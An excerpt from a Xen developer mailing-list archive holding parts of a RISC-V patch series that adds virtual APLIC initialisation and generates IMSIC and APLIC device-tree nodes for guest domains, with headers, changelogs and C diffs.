 
 #include <asm/aia.h>
 #include <asm/intc.h>
+#include <asm/vaplic.h>
 
 static const struct intc_hw_operations *__ro_after_init intc_hw_ops;
 
@@ -83,3 +84,37 @@ int __init make_intc_domU_node(struct kernel_info *kinfo)
 
     return vintc->init_ops->make_domu_dt_node(kinfo);
 }
+
+int domain_vintc_init(struct domain *d)
+{
+    int ret = -EOPNOTSUPP;
+    const enum intc_variant variant = intc_hw_ops->info->hw_variant;
+
+    switch ( variant )
+    {
+    case INTC_APLIC:
+        ret = domain_vaplic_init(d);
+        break;
+
+    default:
+        printk_once("vintc (variant:%d) isn't implemented\n", variant);
+        break;
+    }
+
+    return ret;
+}
+
+void domain_vintc_deinit(struct domain *d)
+{
+    const enum intc_variant variant = intc_hw_ops->info->hw_variant;
+
+    switch ( variant )
+    {
+    case INTC_APLIC:
+        domain_vaplic_deinit(d);
+        break;
+
+    default:
+        break;
+    }
+}
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:51 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:51 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355536.1610420 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglid-0003iS-8B; Mon, 06 Jul 2026 15:58:51 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355536.1610420; Mon, 06 Jul 2026 15:58:51 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglic-0003di-7f; Mon, 06 Jul 2026 15:58:50 +0000
Received: by outflank-mailman (input) for mailman id 1355536;
 Mon, 06 Jul 2026 15:58:46 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliX-0002cM-By
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliW-00AcWu-Lk
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:44 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0b2-bab6-0a2a0a5309dd-0a2a45029ce2-12
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:44 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0b4-5a27-0a2a45020019-d155802ac031-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:44 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-493d3135f62so11376875e9.2
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:44 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.42
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:43 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353524; x=1783958324; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to;
        bh=2hkhMYTJKPM49ZEEfJBa6VK+y/dGsOiFIcDLfi+stU0=;
        b=R96QsvSAZOs9WHEYW2wjikor/ZoVVidqEoWaHjWBzWSFZeR5bIqBrAHn5albQsjvrW
         WTO7eKuARi3KBdWRUsaXvn/bPSajIhgiJE9PkS4a+cfjz/G+NxHxuT1vQvoGutLxixt1
         BkibH5mQ37KBZjZODnSQ0z7fcxXZnjK9W0yuP0iiTjEexUlPgF50vrbUB8pg+UDevyFY
         WYQuZ62yyiNb074Jo5FO/rVNs40gYRjtYtn9u85pHLrgrGpsiwDe61wZKuQeCG+V3lv8
         y4voyQFlnI1JKEnDH9A363uYJ3PTVc4SBC6b5Wi0QoFG+l5DTLWO3rgNzPE5YoR1Umk5
         X13A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353524; x=1783958324;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to;
        bh=2hkhMYTJKPM49ZEEfJBa6VK+y/dGsOiFIcDLfi+stU0=;
        b=G3peeIxPSk175/+SK6KowJglpHoLRIbhB7tDaTFD10qBQiQrU1KW/uNAOOFnWvsgzW
         FJxGHf8rKdwX9PScWR9WDM2Ezb0SyL0oSGlpUGyYBC70NfFarkerlQyxsOFgGBfTDkkF
         aFayab0uLnZANHYvg4TKMaJSIzuD5OC+zjMQQIg3yyKzHS+lnDbvOPq2lBvFjPvynvhj
         tKCjFPfgyP+o7xCD6LyhPIy/Ja3210Jj0zziWb1l4GT4U4g3RWZsAxAoOHSGaT7jBGud
         JnVKCtvA+ZoV8tWUAapzeWRSE1jv19XYtfQm3ee1NwJ1DSxe5Ol7io5gBKuR3ZBm7WOm
         O6Og==
X-Gm-Message-State: AOJu0YxZAj/OKavNi3Y+xwJkHf+zRcvgMue0N6bENY+s9c2fnsaOVb+Z
	uStsdyL9OQYbphFGLs100yXcJkig3q28icTSZFBGdjk7Gi2LN0tuo7GDcxaATw==
X-Gm-Gg: AfdE7cnu5m0E+pWdjIyHx2bk4yZnu1WPakat+owGC/YQCbdfPHH2CoD813PWwRS4Ujt
	GTApQ5fvTLDH4ENp/Z+ebr0jQtjnUmKvyb2aIFiDfZjtJv3dFOYbHFTii3pbqLvlsgRkXMQ+0Cf
	UK/jN/P9JEfJfmSUQ5u4tYPw1HNDOaBtlXwJPFXKuU2QckjTu0jodZXSHNTAlQlVSioWnnMUZ17
	Uv+7crd8nlZ3K72AsV3PTdKm6s0Zn5LZAu2Y3hUKQSUWHHgzmvim1JHDv9Yqx9t+E280Zy2pAwJ
	f34HPUyZPmqAPBzRhlqIU+OOB+PpvTAuEU6gH6G/JPZuaIAmsN3Ck5NqCXqAMzTpnzxvTqGauGQ
	7RVKPWD6UMNX83C4jXShPlhfxdwJR+Eg3HO5QsqHwe01MFLQC6qxOooaTQS3b8wQs6g+BzWa6Wt
	BDOyyoIz36wYarDZ7WVssjQ/3QcQrn4MebhCwRxVCLZjqATqWeQj7p0wl09g==
X-Received: by 2002:a05:600c:584c:b0:493:df11:eab4 with SMTP id 5b1f17b1804b1-493df11ebcdmr9153605e9.8.1783353523915;
        Mon, 06 Jul 2026 08:58:43 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 19/26] xen/riscv: generate IMSIC DT node for guest domains
Date: Mon,  6 Jul 2026 17:58:00 +0200
Message-ID: <7af5bcc9ef818926f02244f5d566541da06a0a16.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-720697/1783353524-5491A7C5-89C5769C/10/73395122804
X-purgate-type: spam
X-purgate-size: 10372

Guests using the IMSIC interrupt controller require a corresponding
Device Tree description.

Add support for generating an IMSIC node when building the guest DT.
This allows guests to discover and use the IMSIC interrupt controller.

The value choosen for GUEST_IMSIC_S_BASE is an address which is typically
used for IMSIC and QEMU.

DT-building functions are marked __init because domain creation happens at
boot time, before the init sections are freed. In a typical deployment
libxl creates the interrupt controller node in userspace and hands the
complete FDT to Xen, so these functions are only called during early
domain construction.

Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v5:
 - s/GUEST_IMSIC_NUM_MSIS/GUEST_IMSIC_MAX_MSIS throughout.
 - Changed __read_mostly â†’ __ro_after_init on guest_num_msis, since the value
   is set once during __init and never again.
 - Made imsic_parse_node() __init.
 - Moved the min(GUEST_IMSIC_MAX_MSIS, ...) cap into imsic_parse_node() right
   after guest_num_msis is assigned, so the bound is applied once at init
   time rather than on every DT node construction call.
 - Removed the now-unnecessary num_msis local variable from
   vimsic_make_domu_dt_node(); guest_num_msis is used directly.
 - s/snprintf(buf, sizeof(buf), ...)/snprintf(buf, ARRAY_SIZE(buf), ...)
   in guest_imsic_set_interrupt_extended_prop().
 - Added decl. of vimsic_make_domu_dt_node() in this patch instead of next.
---
Changes in v4:
 - Add a comment for guest_num_msis explaining that it is host-dependent
   and therefore identical for every domain, which is why a single global
   is used instead of a per-domain value.
 - Reduce vimsic_name[] from 128 to 32 bytes, which is enough to hold
   "/soc/imsic@" plus a 64-bit hex address.
 - Add a comment before GUEST_IMSIC_S_BASE noting that the value is the
   address typically used for IMSIC by QEMU.
 - s/__ULL/_UL for defintion of GUEST_IMSIC_S_BASE.
---
Changes in v3:
 - s/__ro_after_init/__read_mostly for guest_num_msis.
 - Use IMSIC_MAX_ID as default for guest_num_msis instead of imsic_cfg.nr_ids.
 - Drop base_addr local variable in guest_imsic_make_reg_property(); use
   GUEST_IMSIC_S_BASE directly and introduce size to avoid spelling
   IMSIC_MMIO_PAGE_SZ * d->max_vcpus twice.
 - Change irq_ext type from uint32_t * to __be32 * in
   guest_imsic_set_interrupt_extended_prop().
 - Move phandle declaration into the loop body.
 - Extend commit message to explain why __init is used for DT-building
   functions: libxl creates the interrupt controller node before handing
   the FDT to Xen, so these functions are only invoked during boot-time
   domain construction.
 - Re-order patch before APLIC DT node creation patch.
 - Update commit message.
---
Changes in v2:
 - s/imsic_make_reg_property/guest_imsic_make_reg_property.
 - s/imsic_set_interrupt_extended_prop/guest_imsic_set_interrupt_extended_prop.
 - Use initalizer for regs[] array in imsic_make_reg_property().
 - Move buf[] insde the for() loop.
 - Correct check of returned phandle.
 - Drop local variable len.
 - /s/XVFREE/xvfree in imsic_set_interrupt_extended_prop().
 - Drop initializer for local variable data.
 - s/uint32_t/unsinged int for pos and cpu in imsic_set_interrupt_extended_prop().
 - Drop next_phandle as it is now in common code.
 - Introduce vcpu_imsic_deinit.
 - Refactor vimsic_make_domu_dt_node() to avoid usage of host IMSIC dt node.
---
---
 xen/arch/riscv/imsic.c                    | 144 +++++++++++++++++++++-
 xen/arch/riscv/include/asm/guest-layout.h |   6 +
 xen/arch/riscv/include/asm/imsic.h        |   3 +
 3 files changed, 152 insertions(+), 1 deletion(-)

diff --git a/xen/arch/riscv/imsic.c b/xen/arch/riscv/imsic.c
index 5a5758e45dc2..8966362fb149 100644
--- a/xen/arch/riscv/imsic.c
+++ b/xen/arch/riscv/imsic.c
@@ -13,8 +13,12 @@
 #include <xen/const.h>
 #include <xen/cpumask.h>
 #include <xen/device_tree.h>
+#include <xen/domain.h>
 #include <xen/errno.h>
+#include <xen/fdt-domain-build.h>
+#include <xen/fdt-kernel.h>
 #include <xen/init.h>
+#include <xen/libfdt/libfdt.h>
 #include <xen/macros.h>
 #include <xen/sched.h>
 #include <xen/smp.h>
@@ -34,6 +38,21 @@ static struct imsic_config imsic_cfg = {
     .lock = SPIN_LOCK_UNLOCKED,
 };
 
+/*
+ * Number of MSIs available to a guest. Determined by the host interrupt
+ * controller, so it is identical for every domain -- hence a single global
+ * rather than a per-domain value.
+ */
+static unsigned int __ro_after_init guest_num_msis;
+
+#define GUEST_IMSIC_COMPATIBLE "riscv,imsics"
+
+/*
+ * Value is inspired by what QEMU is using for riscv,num-ids property for IMSIC
+ * node.
+ */
+#define GUEST_IMSIC_MAX_MSIS 255
+
 #define IMSIC_DISABLE_EIDELIVERY    0
 #define IMSIC_ENABLE_EIDELIVERY     1
 #define IMSIC_DISABLE_EITHRESHOLD   1
@@ -182,7 +201,7 @@ static int __init imsic_get_parent_hartid(const struct dt_device_node *node,
  * or IRQ_M_EXT if the IMSIC node corresponds to a machine-mode IMSIC,
  * which should be ignored by the hypervisor.
  */
-static int imsic_parse_node(const struct dt_device_node *node,
+static int __init imsic_parse_node(const struct dt_device_node *node,
                             unsigned int *nr_parent_irqs,
                             unsigned int *nr_mmios)
 {
@@ -285,6 +304,13 @@ static int imsic_parse_node(const struct dt_device_node *node,
         return -ENOENT;
     }
 
+    if ( dt_property_read_u32(node, "riscv,num-guest-ids", &tmp) )
+        guest_num_msis = tmp;
+    else
+        guest_num_msis = IMSIC_MAX_ID;
+
+    guest_num_msis = min(GUEST_IMSIC_MAX_MSIS + 0U, guest_num_msis);
+
     if ( (imsic_cfg.nr_ids < IMSIC_MIN_ID) ||
          (imsic_cfg.nr_ids > IMSIC_MAX_ID) )
     {
@@ -522,3 +548,119 @@ int __init imsic_init(const struct dt_device_node *node)
 
     return rc;
 }
+
+static int __init guest_imsic_make_reg_property(struct domain *d, void *fdt)
+{
+    paddr_t size = IMSIC_MMIO_PAGE_SZ * d->max_vcpus;
+    __be32 regs[4] = {
+        cpu_to_be32(GUEST_IMSIC_S_BASE >> 32),
+        cpu_to_be32(GUEST_IMSIC_S_BASE),
+        cpu_to_be32(size >> 32),
+        cpu_to_be32(size),
+    };
+
+    return fdt_property(fdt, "reg", regs, sizeof(regs));
+}
+
+static int __init guest_imsic_set_interrupt_extended_prop(struct domain *d,
+                                                          void *fdt)
+{
+    unsigned int cpu, pos = 0;
+    __be32 *irq_ext;
+    int res;
+
+    irq_ext = xvzalloc_array(__be32, d->max_vcpus * 2);
+    if ( !irq_ext )
+        return -ENOMEM;
+
+    for ( cpu = 0; cpu < d->max_vcpus; cpu++ )
+    {
+        char buf[64];
+        uint32_t phandle;
+
+        snprintf(buf, ARRAY_SIZE(buf), "/cpus/cpu@%u/interrupt-controller", cpu);
+        phandle = fdt_get_phandle(fdt, fdt_path_offset(fdt, buf));
+
+        if ( !phandle )
+        {
+            res = -ENODEV;
+            goto out;
+        }
+
+        irq_ext[pos++] = cpu_to_be32(phandle);
+        irq_ext[pos++] = cpu_to_be32(IRQ_S_EXT);
+    }
+
+    res = fdt_property(fdt, "interrupts-extended", irq_ext,
+                       d->max_vcpus * 2 * sizeof(*irq_ext));
+
+ out:
+    xvfree(irq_ext);
+
+    return res;
+}
+
+int __init vimsic_make_domu_dt_node(struct kernel_info *kinfo,
+                                    unsigned int *phandle)
+{
+    int res;
+    void *fdt = kinfo->fdt;
+    char vimsic_name[32];
+    unsigned int vimsic_phandle;
+    res = snprintf(vimsic_name, sizeof(vimsic_name), "/soc/imsic@%lx",
+                   GUEST_IMSIC_S_BASE);
+    if ( res >= sizeof(vimsic_name) )
+    {
+        dprintk(XENLOG_DEBUG, "vimsic name is truncated\n");
+        return -ENOBUFS;
+    }
+
+    res = fdt_begin_node(fdt, vimsic_name);
+    if ( res )
+        return res;
+
+    res = fdt_property_string(fdt, "compatible", GUEST_IMSIC_COMPATIBLE);
+    if ( res )
+        return res;
+
+    res = guest_imsic_make_reg_property(kinfo->bd.d, fdt);
+    if ( res )
+        return res;
+
+    res = guest_imsic_set_interrupt_extended_prop(kinfo->bd.d, fdt);
+    if ( res )
+        return res;
+
+    res = fdt_property_u32(fdt, "riscv,num-ids", guest_num_msis);
+    if ( res )
+        return res;
+
+    res = fdt_property(fdt, "msi-controller", NULL, 0);
+    if ( res )
+        return res;
+
+    res = fdt_property_u32(fdt, "#msi-cells", 0);
+    if ( res )
+        return res;
+
+    res = fdt_property(fdt, "interrupt-controller", NULL, 0);
+    if ( res )
+        return res;
+
+    res = fdt_property_u32(fdt, "#interrupt-cells", 0);
+    if ( res )
+        return res;
+
+    vimsic_phandle = alloc_phandle(kinfo);
+    if ( !vimsic_phandle )
+        return -EOVERFLOW;
+
+    res = fdt_property_cell(fdt, "phandle", vimsic_phandle);
+    if ( res )
+        return res;
+
+    if ( phandle )
+        *phandle = vimsic_phandle;
+
+    return fdt_end_node(fdt);
+}
diff --git a/xen/arch/riscv/include/asm/guest-layout.h b/xen/arch/riscv/include/asm/guest-layout.h
index 68d95a09394c..5e566450bdfa 100644
--- a/xen/arch/riscv/include/asm/guest-layout.h
+++ b/xen/arch/riscv/include/asm/guest-layout.h
@@ -3,6 +3,12 @@
 
 #include <public/xen.h>
 
+/*
+ * Base address of the guest's supervisor-mode IMSIC. The value is the address
+ * typically used for IMSIC by QEMU.
+ */
+#define GUEST_IMSIC_S_BASE _UL(0x28000000)
+
 #define GUEST_RAM_BANKS   2
 
 /*
diff --git a/xen/arch/riscv/include/asm/imsic.h b/xen/arch/riscv/include/asm/imsic.h
index e2c413487d24..e1ec3d03c4e9 100644
--- a/xen/arch/riscv/include/asm/imsic.h
+++ b/xen/arch/riscv/include/asm/imsic.h
@@ -78,6 +78,7 @@ struct vimsic_state {
 };
 
 struct dt_device_node;
+struct kernel_info;
 struct vcpu;
 
 int imsic_init(const struct dt_device_node *node);
@@ -93,4 +94,6 @@ int vcpu_imsic_init(struct vcpu *v);
 void vcpu_imsic_deinit(struct vcpu *v);
 unsigned int vcpu_guest_file_id(const struct vcpu *v);
 
+int vimsic_make_domu_dt_node(struct kernel_info *kinfo, unsigned int *phandle);
+
 #endif /* ASM_RISCV_IMSIC_H */
-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Mon Jul 06 15:58:54 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Mon, 06 Jul 2026 15:58:54 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1355539.1610431 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglif-0004G2-Nf; Mon, 06 Jul 2026 15:58:53 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1355539.1610431; Mon, 06 Jul 2026 15:58:53 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wglie-0004B7-Rv; Mon, 06 Jul 2026 15:58:52 +0000
Received: by outflank-mailman (input) for mailman id 1355539;
 Mon, 06 Jul 2026 15:58:47 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wgliY-0002t5-LK
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 15:58:46 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wgliY-00AcZM-0V
 for xen-devel@lists.xenproject.org; Mon, 06 Jul 2026 17:58:46 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd081-5cb7-0a2a0a5109dd-0a2a450a953e-44
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:45 +0200
Received: from [209.85.128.53] (helo=mail-wm1-f53.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a4bd0b5-e40e-0a2a450a0019-d1558035e498-3
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 17:58:45 +0200
Received: by mail-wm1-f53.google.com with SMTP id
 5b1f17b1804b1-493bc8fda98so35471125e9.0
 for <xen-devel@lists.xenproject.org>; Mon, 06 Jul 2026 08:58:45 -0700 (PDT)
Received: from fedora (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-493cce03fa1sm284910325e9.11.2026.07.06.08.58.44
 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
 Mon, 06 Jul 2026 08:58:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1783353525; x=1783958325; darn=lists.xenproject.org;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=VOtrWkaPQqlfPd6Df6usWjHZMbCEmGeH2VRC7YlQb7M=;
        b=bOE7Vr3TTWY/vqIt2ENCpd/P1jLCX8jCOt5vwl0XaQjxkyWgXZHWS4DaphEeTY4IWr
         WH0/ZAjMECpmyySFadbEBonqdMNRv4a68smFV7d7U813W9mY6t9aOAJk2BEtrnzrijCO
         R3cSzrZZ1yMPBTMBlyhWinDnDnqYrEmNX4J0sRSK3CG076qfyqh66lQFHjIRaQVGAmBB
         Chzcz+eXWKBA39NFnD0MZd/yG/UbioeLRLdgDjS5rbmHq1rVBmCi8ueM5CJkS3ills5z
         IafVQxHCr9M2eDDyTXEs1/LsHToTM9StBZfkjGM6HD/8iIe+leX3DuWM8bKjF2PY14Hq
         uclw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1783353525; x=1783958325;
        h=content-transfer-encoding:mime-version:references:in-reply-to
         :message-id:date:subject:cc:to:from:x-gm-gg:x-gm-message-state:from
         :to:cc:subject:date:message-id:reply-to:content-type;
        bh=VOtrWkaPQqlfPd6Df6usWjHZMbCEmGeH2VRC7YlQb7M=;
        b=GlMxcgNHGtn8PP95VtsfzLRjjIjoCOZjZ5+Y9K+0A/tVjTTJMdnCaeoUmNLGhBqDq8
         7YQqWMOZ4fCBAGZGuAsAQBqX8ndNIvP2C4ItHtSlY4MiC80qQ09w3hVYInUY1nxRG1O7
         zlW+tMRfek51FmOTGT62Ti65gXYsg+0cyX9oNN5Rvgy+ZccQepsmdMe+CDcIEbNH5O4E
         Lsv+STwpAQPi7AD/wrMcDdaBQkOO/QJxJCt4+amCwMhjHMzFyVjNTfGiKHgm0pd8WVX6
         Bt/UM9J2ZCQnVVW7W7O8Gc7XfbfaAqQTn2ykOwzAw4as6+S3MEuXH8+Mq+LfUDSJf4aU
         8mUw==
X-Gm-Message-State: AOJu0YyIjiun6UzFg5jcNBhGOka2Q+0zUaRXjTitwKSN+xxyyhc8E38I
	cxBqWjUGNNlRoHEECLlo/G5vjRDoXtR+PZIXFnlN6kIkS3j43AKjJwSKJWfvOg==
X-Gm-Gg: AfdE7cnjo1kPvPNc/2IMcUwk1kBPmraP0nn+OtLkBEV/J0jPnCpF+eLnXDE1UcnyWkp
	dN4mSPp/Y0R0QgmsdfGLTmQp2RoLl/aozlvtzMJSjFAGbbjPlvRv6Y9wa4xEC+MHOY0JhQsgWIG
	GvdBEw18mvkf5CquVZqFGEJCWTEKc95bG/RVK8aqkN+DdvQA02cwMtb0g7pppeyiwmsCUxK7Dqv
	4x16gndsbQU3vNeYBhZDLvQa6ppyKoJUDEzVSJbyHtBFszde0AGylcrhDixcCDt7JHAm0rDkheD
	AUFzWP+1ETT589hPHx8zkKctDMcEKCxLqSa0jK/UjT/W+FS8ECRh91AkRJei3WPytZjGF6Tr844
	zh+c2tEzEFf5zJrWzw3depQK+8mTmmgsTsLxpUuwxD8L7Qv7WcuDIoqNA0yU8DbSpJxUbB7+Y/v
	vmtCjghzoUKxtdSfz3rnFn/t/44THUVITFzGwhp+BVg13Xz7H6CMkpNhl+eA==
X-Received: by 2002:a05:600c:3d8b:b0:493:bba7:e9f4 with SMTP id 5b1f17b1804b1-493df065f50mr14196265e9.18.1783353525265;
        Mon, 06 Jul 2026 08:58:45 -0700 (PDT)
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: xen-devel@lists.xenproject.org
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
	Baptiste Le Duc <baptiste.le-duc@vates.tech>,
	Oleksii Kurochko <oleksii.kurochko@gmail.com>,
	Alistair Francis <alistair.francis@wdc.com>,
	Connor Davis <connojdavis@gmail.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH v5 20/26] xen/riscv: create APLIC DT node for guest domains
Date: Mon,  6 Jul 2026 17:58:01 +0200
Message-ID: <c05403d44a8c98eef2b7e399672158b40ff4a2fe.1783331040.git.oleksii.kurochko@gmail.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <cover.1783331040.git.oleksii.kurochko@gmail.com>
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-4011c0/1783353525-3D470DDE-DB34833C/10/73395122804
X-purgate-type: spam
X-purgate-size: 8543

Guests require a Device Tree description of the interrupt controller
topology. Add support for creating an APLIC node when building the
guest DT.

Provide stub for imsic_make_dt_node() it will be introduced properly
in follow-up patch.

The value chosen for GUEST_APLIC_S_BASE is based on QEMU one.

DT-building functions are marked __init because domain creation happens at
boot time, before the init sections are freed. In a typical deployment
libxl creates the interrupt controller node in userspace and hands the
complete FDT to Xen, so these functions are only called during early
domain construction.

Co-developed-by: Romain Caritey <Romain.Caritey@microchip.com>
Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
---
Changes in v5:
 - Drop pointless initializer for local variable res in
   vaplic_make_domu_dt_node().
 - Limit guest_num_sources in the similar way to IMSIC.
 - Rename VAPLIC_NUM_SOURCES to GUEST_APLIC_MAX_SOURCES to be aligned with
   the similar place in vIMSIC related code.
---
Changes in v4:
 - Drop spurious <xen/fdt-kernel.h> and <xen/libfdt/libfdt.h> includes from
   aplic.c (mistakenly added, they belong to vaplic.c).
 - Reduce vaplic_name[] from 128 to 32 bytes in vaplic_make_domu_dt_node().
 - Use __initconstrel (with const) for init_ops instead of __initdata.
 - s/__ULL/_UL for defintion of GUEST_APLIC_S_BASE.
---
Changes in v3:
 - Fix rebase conflicts becuase of this patch is reordered after IMSIC DT
   node creation is intoduced.
 - Update the commit message.
 - Move initialization of domaincfg with APLIC_DOMAINCFG_RO80 from this
   patch to earlier.
 - Change paddr_t aplic_size to unsigned int in vaplic_make_domu_dt_node()
   and replace the UB (after it started to be uint) aplic_size >> 32 with
   an explicit 0 in the DT reg property.
 - Add BUILD_BUG_ON() to be sure that aplic size isn't bigger then
   UINT32_MAX.
---
Changes in v2:
 - Avoid as max as possible of host properties inheritance. Only number of
   APLIC's irqs are checked what leads to an introduction of
   get_aplic_irqs_num().
 - Move this patch earlier what leads to an introduction of
   vimsic_make_domu_dt_node() stub.
 - s/vimsic_make_domu_dt_node/imsic_make_domu_dt_node.
 - Refactor vimsic_make_domu_dt_node() to avoid re-usage of APLIC host
   properties.
